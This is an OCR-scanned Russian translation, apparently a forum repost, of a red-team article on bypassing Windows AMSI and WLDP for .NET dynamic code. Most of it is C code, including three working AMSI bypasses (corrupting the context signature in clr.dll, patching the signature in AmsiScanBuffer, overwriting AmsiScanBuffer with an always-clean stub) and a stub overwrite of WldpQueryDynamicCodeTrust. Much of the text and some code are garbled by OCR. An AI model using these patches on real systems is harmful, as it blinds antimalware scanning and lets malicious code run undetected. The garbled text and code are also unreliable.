CrtaTtbs Kak kpacHble komaHabl ooxoaat AMSI n WLDP
ansa .NET amHamunyeckoro Koga

& xss.is/threads/30249

Opur. cTaThA

BB Administrator: x64 Mative Tools Cornmand Prompt for V5 2017 - O bt
iAssembly () :
nbly () :
nbly () :
sembly () : ICLRRuntimeIn
nbly () : ICLERuntimeInf
nbly () : HRESULT: 000(
b1y () :
nbly () :
nbly () :
nblvy () :
b1y () :
nbly () :
sembly () :
embly () :
sembly () :
mbly () :
mbly () :
mbly () :
mbly () :
mbly () :
mbly () :
:Runfssembly () :
RunAssembly () :
:RunAssembly () :

How Red Teams Bypass AMSI and WLDP for .NET Dynamic Code

Introduction Previous Research AMSI Example in C AMSI Context AMSI Initialization AMSI
Scanning CLR Implementation of AMSI AMSI Bypass A (Patching Data) AMSI Bypass B
(Patching Code 1) AMSI Bypass ...

E modexp.wordpress.com

1. Beryienue

2. [Ipeawiayiiee uccaeioBaHue

3. IIpumep AMSI B C

4. AMSI Context

5. Uannuanusanus AMSI

6. CkannpoBanue AMSI

7. CLR Buegpenne AMSI

8. O6xom AMSI A (maHHBIE UCITPABJIEHNA)


https://xss.is/threads/30249/
https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/

9. O6xo;; AMSI B (xox ucripaBieHus 1)
10. O6xox AMSI C (xop ucripaBieHus 2)
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1. BBegenue

v4.8 mwiratdopmsl dotnet ucrosp3yer nHTEpdEic CKAHNPOBAHUSA HAa HAJTUYHE BPETOHOCHBIX
nporpamm (AMSI) u mosutuky 6;10kupoBkr Windows (WLDP) s 6710KUpOBKH
MOTEHIINAILHO HEeXKeJIaTeJIbHOTO IPOrpaMMHOr0 obecrieueHus, 3ayIeHHOTO U3 MaMATHU.
WLDP npoBepuT nupoByIO MOIKICH IMTHAMUYECKOTO KO/a, B TO BpeMs Kak AMSI Gyzer
CKaHUPOBATh IIPOTPAMMHOE OOecIieueHne, KOTOPOe MOKET OBITh BPEJOHOCHBIM HJTH
3a0JIOKMPOBAHO a/IMUHUCTPATOPOM. B 3TOM mocTe omrcaHbl TP O0IEN3BECTHHIX METO/IA,
KOTOpBIe KpacHbIe KOMAH/bI B HACTOSAIIEE BpeMsI UCIIOIb3YIOT /s o6xoaa AMSI, u onuH
qust 06xoma WLDP. Onucanabie METO/IbI 00X0/1a HECKOJIPKO YHUBEPCATIHLHBI U HE TPEOYIOT
crenuagbHbIX 3HAaHUH. EC/Ti BBI YUTAETe 3TOT MOCT B JII000E BpeMs II0CJIe UIOHS 2019 To/ia,
MeTOZ[bI MOTYT OoJIbIlle He paboTath. VceiieloBaHue, TOKa3aHHOE 3/1€Ch, OBLIO IIPOBEIEHO B
corpyauudecte ¢ TheWover.

2, [Ipeapiaymue uccjaeaoBaHUuA

B ciienytomieii Tabsiuiie mprUBeeHBI CCHIKHM Ha IIPOIIJIbIE HCCIefoBaHUsA. EcTu BbI
YyBCTBYETE, YTO 51 10 KOMY-TO CKy4aJl, He CTECHANTECh IPUCHLIATh MHE ITOAPOOHOCTH I10
5JIEKTPOHHOMU ITOYTE.



Mait 2016 Obxog Amsi ¢ momomero PowerShell 5 Hijacking ot Caeelis
Hrone 2017 Obxog AMSI gepes yrou COM-cepeepa ot Matra Henscona
Heons 2017 Obxon Device Guard c momomsro MeTonos kommunarue cbopemr NET,

aeTop Matt Grasber

Deppans 2018

Obxog AMSI ¢ nyneermm xaparTepoM oT Satoshi Tanda

$egpans 2018

Obxon AMSI: Texnunra ncnpaenenna ot CvberArk (Apm [ mynen 1 3ees
Ben IopaT).

Degpans 2018

Baner u magenme AMSI Tanes JInbepman (Ensilo).

Maiz 2018 AMSI Bypass Redux ot Aeu ['nmmens (Cyvber Ark).

Hrons 2018 Hzyuenne PowerShell AMSI n Vemonenme o1 perncTpaumy ot Amama
Hectepa

Hrons 2018 Otenrouenne AMSI g JScript ¢ moMomero 0QHOTO MPOCTOTO TPHOKA
Iacefivca @opmoy

Hrons 2018 JoxyMeHTHPOEaHME M aTaka Ha § VHELIMEO VIIPABIeHHA [IPHIOKEHIAMH

JamuTHHEa Windows - TpVIHBI IVTE - MPaKTHYECEHIT [IPHMEep 10
MeTOOONOrMH MCcenoeanna besonacuocti, aeTop Matt Graeber

Ograbpe 2018

Kax obofitit AMSI 11 emomsmite JIEOEOH EPEeIOHOCHEIT Koo
Powershell ot Andre Marques

Oxrabpe 2018

AmsiScanBuffer Bypass Hacte 1, Yacts 2, YacTts 3, Yacts 4 ot Rasta
Mouse

Herabps 2018

Dvurama PoC ona moepexnenia rnobansHoil mepeMeHHOI
g_amsiContext B clr dll. ApTop Matt Graeber

Anpens 2019

E obxon AMSI gna VBA ot [Intep Cunen (Outflank)

3.

IIpumep AMSI B C

YuuTeiBas myTh K daiiity, cieayonas GyHKINS OTKPOeT ero, 0TOOPa3UT B MaMATH U

rcrob3yer AMSI, 4TOOBI OIIPeETNTD, ABJISETCS JIU COAEPKUMOE BPEIOHOCHBIM HJIH K€

OHO 3a0JIOKMPOBAHO a/IMUHUCTPATOPOM.

Code:




typedef HRESULT (WINAPI *AmsiInitialize t)(
LPCWSTR appName,
HAMSICONTEXT *amsiContext);

typedef HRESULT (WINAPI *AmsiScanBuffer_t)(
HAMSICONTEXT amsiContext,

PVOID buffer,
ULONG length,
LPCWSTR contentName,

HAMSISESSION amsiSession,
AMSI_RESULT *result);

typedef void (WINAPI *AmsiUninitialize_ t)(
HAMSICONTEXT amsiContext);

BOOL IsMalware(const char *path) {

AmsiInitialize_t _AmsiInitialize;
AmsiScanBuffer_t _AmsiScanBuffer;
AmsiUninitialize_t _AmsiUninitialize;
HAMSTICONTEXT ctx;

AMSI_RESULT res;

HMODULE amsi;

HANDLE file, map, mem;
HRESULT hr = -1;

DWORD size, high;

BOOL malware = FALSE;

// load amsi library
amsi = LoadlLibrary("amsi");

// resolve functions
_AmsiInitialize =
(AmsiInitialize_t)
GetProcAddress(amsi, "AmsiInitialize");

_AmsiScanBuffer =
(AmsiScanBuffer_t)
GetProcAddress(amsi, "AmsiScanBuffer");

_AmsiUninitialize =
(AmsiUninitialize_t)
GetProcAddress(amsi, "AmsiUninitialize");

// return FALSE on failure
if(_AmsiInitialize = L ||
_AmsiScanBuffer = L ||
_AmsiUninitialize == NULL) {
printf("Unable to resolve AMSI functions.\n");
return FALSE;

= NUL
= NUL



// open file for reading

file = CreateFile(
path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);

if(file != INVALID_HANDLE_VALUE) {
// get size
size = GetFileSize(file, &high);
if(size !=0) {
// create mapping
map = CreateFileMapping(
file, NULL, PAGE_READONLY, 0, 0, 0);

if(map != NULL) {
// get pointer to memory
mem = MapViewOfFile(
map, FILE_MAP_READ, 0, 0, 0);

if(mem != NULL) {
// scan for malware
hr = _AmsiInitialize(L"AMSI Example", &ctx);
if(hr == S_OK) {
hr = _AmsiScanBuffer(ctx, mem, size, NULL, ©, &res);
if(hr == S_0OK) {
malware = (AmsiResultIsMalware(res) ||
AmsiResultIsBlockedByAdmin(res));
}
_AmsiUninitialize(ctx);
}
UnmapViewOfFile(mem);

}
CloseHandle(map);

}
CloseHandle(file);

}

return malware;

CrxanupoBaHnue "xoporiero" u "moxoro" ¢aina.
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Ecsu BBI y2ke 3HAKOMBI ¢ BHYyTPEeHHUMU KoMIIoHeHTaMu AMSI, BbI MO2KeTe IlepeiTH K
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4. Koarexcr AMSI
KoHTeKkcT siBsieTcs HeZJTOKyMEeHTUPOBAaHHOU CTPYKTYPOU, HO BBl MOYKETE MCII0JIb30BaTh
cenytoliee JJisi UHTEPIIPeTallii BO3BPaIlaeMoro AeCKPUIITopa.


https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/#amsi_patch_A

Code:

typedef struct tagHAMSICONTEXT {

DWORD Signature; // "AMSI" or 0x49534D41
PWCHAR AppName; // set by AmsiInitialize
IAntimalware *Antimalware; // set by AmsilInitialize
DWORD SessionCount; // increased by AmsiOpenSession

} _HAMSICONTEXT, *_PHAMSICONTEXT;

5. Hanmuaausanusa AMSI

appName yka3bIBaeT Ha IMOJIb30BaTEIBCKYIO CTPOKY B hopMare HUKO, a amsiContext
ykasbiBaeT Ha Aeckpuntop Tuna HAMSICONTEXT. On Bo3spamiaet S_OK, ecjii KOHTEKCT
AMSI 6bL1 ycIienrHo HHUITATU3upoBaH. CeAyomui KO/ He SBJISIETCS ITOJTHOU
peanuzanuei GyHKINY, HO JOJIPKEH IIOMOYb BaM MOHATH, UTO IIPOUCXOAUT BHYTPH.

Code:



HRESULT _AmsiInitialize(LPCWSTR appName, HAMSICONTEXT *amsiContext)
_HAMSICONTEXT *ctx;
HRESULT hr;
int namelLen;
IClassFactory *clsFactory = NULL;

// invalid arguments?
if(appName == NULL || amsiContext == NULL) {
return E_INVALIDARG;

// allocate memory for context
ctx = (_HAMSICONTEXT*)CoTaskMemAlloc(sizeof(_HAMSICONTEXT));
if(ctx == NULL) {

return E_OUTOFMEMORY;

// initialize to zero
ZeroMemory(ctx, sizeof(_HAMSICONTEXT));

// set the signature to "AMSI"
ctx->Signature = 0x49534D41;

// allocate memory for the appName and copy to buffer
nameLen = (lstrlen(appName) + 1) * sizeof(WCHAR);
ctx->AppName = (PWCHAR)CoTaskMemAlloc(nameLen);

if(ctx->AppName == NULL) {
hr = E_OUTOFMEMORY

} else {
// set the app name
1strcpy(ctx->AppName, appName);

// instantiate class factory

hr = D1lGetClassObject(
CLSID_Antimalware,
IID_IClassFactory,
(LPVOID*)&clsFactory);

if(hr == S_OK) {
// instantiate Antimalware interface
hr = clsFactory->CreateInstance(
NULL,
IID_IAntimalware,
(LPVOID*)&ctx->Antimalware);

// free class factory
clsFactory->Release();

// save pointer to context
*amsiContext = ctx;



// if anything failed, free context
if(hr = S_OK) {
AmsiFreeContext(ctx);

}

return hr;

[Tamate Beigenserca B Kyde 1y cTpykTypsl HAMSICONTEXT u nHunuanusupyercs ¢
rcrosib3oBanreM appName, nmogmnucu AMSI (0x49534D41) u uatepdetica [Antimalware.

6. CkanupoBanue AMSI

Crnenyromui Koj 1aeT BaM MPUOJIU3UTETbHOE IIPEICTaBJIEHHE O TOM, YTO IIPOUCXOJTUT ITPHU
BbI30Be QYHKIIMH. Ecji ckaHMpOBaHUE MIPOIILIO YCIIENTHO, BO3BPAI[A€MbIM PE3yIbTaTOM
oynetr S_OK, u Heooxoaumo mpoBeputbh AMSI_RESULT, 4T00bBI OIIpEAETUTD, COAEPIKUT JIN
Oydep HexkeraTeIbHOE IPOrpaMMHOE obecrieueHue.

Code:



HRESULT _AmsiScanBuffer(
HAMSICONTEXT amsiContext,

PVOID buffer,
ULONG length,
LPCWSTR contentName,

HAMSISESSION amsiSession,
AMSI RESULT *result)

_HAMSICONTEXT *ctx = (_|

// validate arguments

if(buffer
length
amsiResult
ctx
ctx->Signature 1=
ctx->AppName ==
ctx->Antimalware ==

return E_INVALIDARG;

// scan buffer

HAMSICONTEXT*)amsiContext;

NULL
0

NULL

NULL
0x49534D41
NULL

NULL)

return ctx->Antimalware->Scan(

ctx->Antimalware,
&CAmsiBufferStream,
amsiResult,

NULL,

amsiContext,
CAmsiBufferStreanm,
buffer,

length,
contentName,
amsiSession);

// rcx = this

// rdx = IAmsiBufferStream interface
// r8 = AMSI_RESULT
// r9 = IAntimalwareProvider

// HAMSICONTEXT

O6paTI/ITe BHHUMaHHE, KaK apTyMEHTbI IIDOBEPEHDI. TO OJHWH M3 MHOTHUX CII0cO00B

IpUHYAUTETHbHOTO c00st AmsiScanBuffer u BosBpata E_INVALIDARG.

7. CLR Bueapenue AMSI
CLR ucnosp3yer yacTHyI0 GyHKINIO AmsiScan /i1 0OHApyKEeHUS HEeXKeJIaTeJIbHOTO

IIPOTPAMMHOTO 00ecIieueHus, epeJaHHoro ¢ MoMoIeio Metosia Load. O6Hapy»keHHEe MOXKeT

IIPUBECTU K 3aBEPIICHUIO ITpO1Iecca NET, HO He 00513aTeTbHO HEYIIpaBJJIAEMOTIO IIpo1ecca C

ncnosib3oBanueM unrepdeiicon xocruara CLR. Caeayromniuii Koj 1aeT Bam

pubIN3UTENIHHOE Mpe/cTaBieHre o ToM, kak CLR peanmusyer AMSI.

Code:



AmsiScanBuffer_t _AmsiScanBuffer;
AmsiInitialize_t _AmsiInitialize;
HAMSICONTEXT *g _amsiContext;

VOID AmsiScan(PVOID buffer, ULONG length) {

HMODULE amsij;
HAMSICONTEXT *ctx;
HAMSI_RESULT amsiResult;
HRESULT hr;

// if global context not initialized
if(g_amsiContext == NULL) {
// load AMSI.d1l
amsi = LoadLibraryEx(
L"amsi.dll",
NULL,
LOAD_LIBRARY_SEARCH_SYSTEM32);

if(amsi != NULL) {
// resolve address of init function
_AmsiInitialize =
(AmsiInitialize_t)GetProcAddress(amsi, "AmsiInitialize");

// resolve address of scanning function
_AmsiScanBuffer =
(AmsiScanBuffer_t)GetProcAddress(amsi, "AmsiScanBuffer");

// failed to resolve either? exit scan
if(_AmsiInitialize == NULL ||
_AmsiScanBuffer == NULL) return;

hr = AmsiInitialize(L"DotNet", &ctx);

if(hr == S_OK) {
// update global variable
g_amsiContext = ctx;
}
}

}
if(g_amsiContext != NULL) {

// scan buffer

hr = _AmsiScanBuffer(
g_amsiContext,
buffer,
length,
0,
9,
&amsiResult);

if(hr == S_OK) {
// if malware was detected or it's blocked by admin



if(AmsiResultIsMalware(amsiResult) ||
AmsiResultIsBlockedByAdmin(amsiResult))

// "Operation did not complete successfully because
// "the file contains a virus or potentially unwanted"
// software.

GetHRMsg(ERROR_VIRUS_INFECTED, &error_string, 0);
ThrowHR (COR_E_BADIMAGEFORMAT, &error_string);

Koryta AmsiScan BbI3bIBaeTcsl BEpBbIe, OH BbI3biBaeT Amsilnitialize u B ciryuae ycriexa
BO3BpalllaeT ykazareyb Ha KOHTekcT AMSI. 3atem ykazaTesib coxpaHseTcs B I7TI00a7IbHOU
nepeMeHHOH g_amsiContext, koTopas OyeT UCIIOIB30BATHCA AJIA TOCIETYIOIIIX
ckanupoBanuii. Eciim 6ydep cozep:kut BpeoHocHbIN ko, ThrowHR BbI3BIBaeTCSA C
COR_E_BADIMAGEFORMAT u ERROR_VIRUS_INFECTED B kauecTBe BTOPUYHOU
omnOku. [TpobiiemMa ¢ 3TUM KOZIOM 3aKjtouaeTcs B ToM, uTo AmsiScanBuffer Bepuer
E_INVALIDARG, ecnu koHTekcT AMSI nnoBpeskzieH u ToT GakT, uTo AmsiScan He NbITaeTCsA
BBISICHUTD, [I0YEMY.

8. 06xox AMSI BapuaHT A (McCHIpaBIeHHE JAHHBIX)

Mot I'pabep nipesioctaBust PoC, KOTOPBIN TOPTUT KOHTEKCT, HA KOTOPBIX yka3biBaeT CLR!
G_amsiContext, B pe3ysbTaTe uero AmsiScanBuffer Bo3spamaer E_INVALIDARG. Kak BbI
MoO2KeTe BUieTh U3 peanusanuu CLR, sTo paboraet, moromy uto pe3ysabTaT CLR! AmsiScan
HUKOT/Ia He TPOBePsETCA Ha ycIleX Ui npoBasl. IIpesinmosiaraercs, YTo OH MPOCTO BbIJIACT
OIIMOKY U 3aBEPIIUT PAbOTY XOCT-IIPUJIOKEHUS IIPH JTI000H MOMBITKE 3aTPY3UTh
HesKeslaTeJIbHOe MporpaMMHoe obecrieueHne. OHAKO HEYIIPaBJIsieMOe IPUJIOKEHHE,
conepakartree coopky .NET, BeposaTHO, oOpaboTtaeT j1t060e uckiadenue C ++. 3aluTHUK
Windows mo-npexHeMy perucTpupyer oOHapy:KeHre BPeJOHOCHOTO K0/1a, HO B HEKOTOPBIX
CJIyJasix HeyIpaBJssieMOe XOCT-TIPIJIOKEHHE ITPOIoJiKaeT paboTarh. UTOOBI OTKITIOUUTD
AMSI yepe3 g_amsiContext, MOKHO BBITIOJIHUTD ITOMCK JINOO B MacCHBAax MaMsATH, HA
koTopylo ykassiBaeT PEB.ProcessHeap, 1100 B kaXk/1oM ykasarTese, HaliJIEHHOM B
BUPTYQJIbHOM a/IPECHOM ITPOCTPaHCTBe cermeHTa .data. Cireyromuii Ko AEMOHCTPUPYET
MTOC/IEAHUH TIO/IX0/T. DTO paboTaeT TOJIbKO mociie Toro, kak CLR BbI3Basr AmsiScan.

Code:



BOOL DisableAMSI(VOID) {

LPVOID hCLR;

BOOL disabled = FALSE;
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nt;
PIMAGE_SECTION_HEADER sh;

DWORD i, j, res;

PBYTE ds;
MEMORY_BASIC_INFORMATION mbi;
_PHAMSICONTEXT ctx;

hCLR = GetModuleHandleA("CLR");

if(hCLR != NULL) {

dos = (PIMAGE_DOS_HEADER)hCLR;
nt = RVA2VA(PIMAGE_NT_HEADERS, hCLR, dos->e_lfanew);
sh = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader +

nt->FileHeader.SizeOfOptionalHeader);

// scan all writeable segments while disabled == FALSE

for(i = 0;
i < nt->FileHeader.NumberOfSections && !disabled;
i++)

{

// if this section is writeable, assume it's data
if (sh[i].Characteristics & IMAGE_SCN_MEM _WRITE) {
// scan section for pointers to the heap
ds = RVA2VA (PBYTE, hCLR, sh[i].VirtualAddress);

for(j = 0;
j < sh[i].Misc.VirtualSize - sizeof(ULONG_PTR);
j += sizeof(ULONG_PTR))

// get pointer

ULONG_PTR ptr = *(ULONG_PTR*)&ds[j];

// query if the pointer

res = VirtualQuery((LPVOID)ptr, &mbi, sizeof(mbi));
if(res != sizeof(mbi)) continue;

// if it's a pointer to heap or stack

if ((mbi.State == MEM_COMMIT ) &&
(mbi.Type == MEM_PRIVATE ) &&
(mbi.Protect == PAGE_READWRITE))

ctx = (_PHAMSICONTEXT)ptr;
// check if it contains the signature
if(ctx->Signature == 0x49534D41) {

// corrupt it

ctx->Signature++;

disabled = TRUE;

break;



return disabled;

9. 06xox AMSI B (Mcopasiaenue Koxa 1)

CyberArk mpeanaraer ucripaButh AmsiScanBuffer qymsa nncrpykiusimu: xor edi, edi, nop.
Eciu BbI XOTHTE IepexBaTUTh QYHKINIO, UCII0JIH30BAHNE MeXaHU3Ma u3acceMbiepa
qutnHbI (Length Disassembler Engine =LDE) Mo2keT OBITH ITOJIE3HO /IJI1 BEIYUCIEHUS
IIPaBUJILHOTO KOJIn4yecTBa prolog bytes, KOTopblie HY>KHO COXPAHUTD IEPE] ITePe3ar¥chio ¢
IIOMOIIIBIO ITIEpPeX0/ia K aJibTepHaTUBHOU PyHKIUU. [TockoabKy KOHTeKCT AMSI,
nepe/iaBaeMbIii B 3Ty QYHKIIUIO, IPOBEPSETCA U OIUH U3 TECTOB TpelyeT, YTOOHI Signature
6bL1a «AMSI», BBI MOXKeTe HAUTH 5TO HENIOCPECTBEHHOE 3HAUEHNE U ITPOCTO U3MEHUTD €TO
Ha 4YTO-TO Jpyroe. B ciienyroiem mpumepe Mbl TOBpeXKaeM MOAINCH B KOJIE, a HE B
KOHTEKCTe / TaHHBIX, KaK IIPOZIeMOHCTPpUPOBa MaTT I'pabep.

Code:



BOOL DisableAMSI(VOID) {

HMODULE dil;

PBYTE cs;

DWORD i, op, t;

BOOL disabled = FALSE;

_PHAMSICONTEXT ctx;

// load AMSI library

dll = LoadLibraryExA(
"amsi", NULL,
LOAD_LIBRARY_SEARCH_SYSTEM32);

if(dll == NULL) {
return FALSE;
}
// resolve address of function to patch
cs = (PBYTE)GetProcAddress(dll, "AmsiScanBuffer");

// scan for signature
for(i=0;;i++) {
ctx = (_PHAMSICONTEXT)&cs[i];
// is it "AMSI"?
if(ctx->Signature == 0x49534D41) {
// set page protection for write access
VirtualProtect(cs, sizeof(ULONG_PTR),
PAGE_EXECUTE_READWRITE, &op);

// change signature
ctx->Signature++;

// set page back to original protection
VirtualProtect(cs, sizeof(ULONG_PTR), op, &t);
disabled = TRUE;

break;

}

return disabled;

}

10. O6xox AMSI C (kox ucipaBjieHUSA 2)

Tanw JInbepmaH mpeaiaraer nepesanucarb 6auThl mposiora AmsiScanBuffer mist Bo3Bpara 1.
Ciietyrommuii Ko/ TaK»Ke IePe3anuChIBAeT 3Ty (GYHKIINIO, TAK YTO OH BO3BpAIIlaeT
AMSI_RESULT_CLEAN u S_OK g5 kaxzaoro 6ydepa, ckanupoBansoro CLR.

Code:



// fake function that always returns S_OK and AMSI_RESULT_CLEAN
static HRESULT AmsiScanBufferStub(
HAMSICONTEXT amsiContext,

PVOID buffer,
ULONG length,
LPCWSTR contentName,

HAMSISESSION amsiSession,
AMSI_RESULT *result)

*result = AMSI_RESULT_CLEAN;
return S_OK;

static VOID AmsiScanBufferStubEnd(VOID) {}

BOOL DisableAMSI(VOID) {
BOOL disabled = FALSE;
HMODULE amsi;
DWORD len, op, t;
LPVOID cs;

// load amsi
amsi = LoadLibrary("amsi");

if(amsi != NULL) {
// resolve address of function to patch
cs = GetProcAddress(amsi, "AmsiScanBuffer");

if(cs = NULL) {
// calculate length of stub
len = (ULONG_PTR)AmsiScanBufferStubEnd -
(ULONG_PTR)AmsiScanBufferStub;

// make the memory writeable
if(VirtualProtect(
cs, len, PAGE_EXECUTE_READWRITE, &op))

// over write with code stub
memcpy(cs, &AmsiScanBufferStub, len);

disabled = TRUE;
// set back to original protection

VirtualProtect(cs, len, op, &t);

}

return disabled;



[Tocie mprMeHeHUs UCIIPABIEHUs Mbl BUJIUM, YTO HeKeJlaTeJIbHOE IPOrPpaMMHOE
oOecrieueHre IOMeYEeHO Kak Oe301acHoe.

: Vhub\ donu

: Vhub\donut

-
E

11. [Ipumep WLDP B C
Crnenytromias GyHKIUA IEMOHCTPUPYET, KaK 3alIPOCUTH JOBEPUE TUHAMUYECKOTO KO/ia B
IIaMATH C IIOMOIIBIO OJUTUKH 0J10KupoBKH Windows.

Code:



BOOL VerifyCodeTrust(const char *path) {
W1ldpQueryDynamicCodeTrust_t _WldpQueryDynamicCodeTrust;

HMODULE wldp;

HANDLE file, map, mem;
HRESULT hr = -1;

DWORD low, high;

// load wldp
wldp = LoadLibrary("wldp");
_W1ldpQueryDynamicCodeTrust =
(WldpQueryDynamicCodeTrust_t)
GetProcAddress(wldp, "WldpQueryDynamicCodeTrust");

// return FALSE on failure

if(_WldpQueryDynamicCodeTrust == NULL) {
printf("Unable to resolve address for WLDP.dll!WldpQueryDynamicCodeTrust.\n");
return FALSE;

}

// open file reading

file = CreateFile(
path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);

if(file != INVALID_HANDLE_VALUE) {
// get size
low = GetFileSize(file, &high);
if(low != @) {
// create mapping
map = CreateFileMapping(file, NULL, PAGE_READONLY, ©, 0, 0);
if(map != NULL) {
// get pointer to memory
mem = MapViewOfFile(map, FILE_MAP_READ, ©, 0, 9);
if(mem != NULL) {
// verify signature
hr = _WldpQueryDynamicCodeTrust(0, mem, low);
UnmapViewOfFile(mem);
}
CloseHandle(map);
}
}
CloseHandle(file);

}

return hr == S_O0K;
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12. O6xox A WLDP (xox ucnpaBjieHus 1)
[TepezanucaTh QYHKITUIO 3aTJIYIIKOU KO, KOTOpas Beeraa Bo3ppamaeTr S_OK.

Code:



// fake function that always returns S_OK

static HRESULT WINAPI WldpQueryDynamicCodeTrustStub(
HANDLE fileHandle,
PVOID baselImage,
ULONG ImageSize)

return S_OK;

static VOID WldpQueryDynamicCodeTrustStubEnd(VOID) {}

static BOOL PatchWldp(VOID) {
BOOL patched = FALSE;
HMODULE wldp;
DWORD len, op, t;
LPVOID <cs;

// load wldp
wldp = LoadLibrary("wldp");

if(wldp != NULL) {
// resolve address of function to patch
cs = GetProcAddress(wldp, "WldpQueryDynamicCodeTrust");

if(cs = NULL) {
// calculate length of stub
len = (ULONG_PTR)W1ldpQueryDynamicCodeTrustStubEnd -
(ULONG_PTR)W1dpQueryDynamicCodeTrustStub;

// make the memory writeable
if(VirtualProtect(
cs, len, PAGE_EXECUTE_READWRITE, &op))

// over write with stub
memcpy(cs, &WldpQueryDynamicCodeTrustStub, len);

patched = TRUE;

// set back to original protection
VirtualProtect(cs, len, op, &t);

}

return patched;



XOTs METO/BI, OITMCAHHBIE 3/IECH, JIETKO OOHAPYKUTh, OHU OCTAlOTCsI 3(P(PEKTUBHBIMU B
OTHOIIIEHUH TI0CJIeTHETO BhITycKa miatdopmbl DotNet a1a Windows 10. /o Tex nop, mmoka
BO3MOXKHO HCIIPaBJIEHUE JaHHBIX WM KOJa, UCI0Ib3yeMbix AMSI 1151 0OHapyKeHUs
BPEIOHOCHOT'O KO/ia, IIOTEHITHUAJI JIs ero 00xo/1a Beceraa OyAeT CyIecTBOBATh.



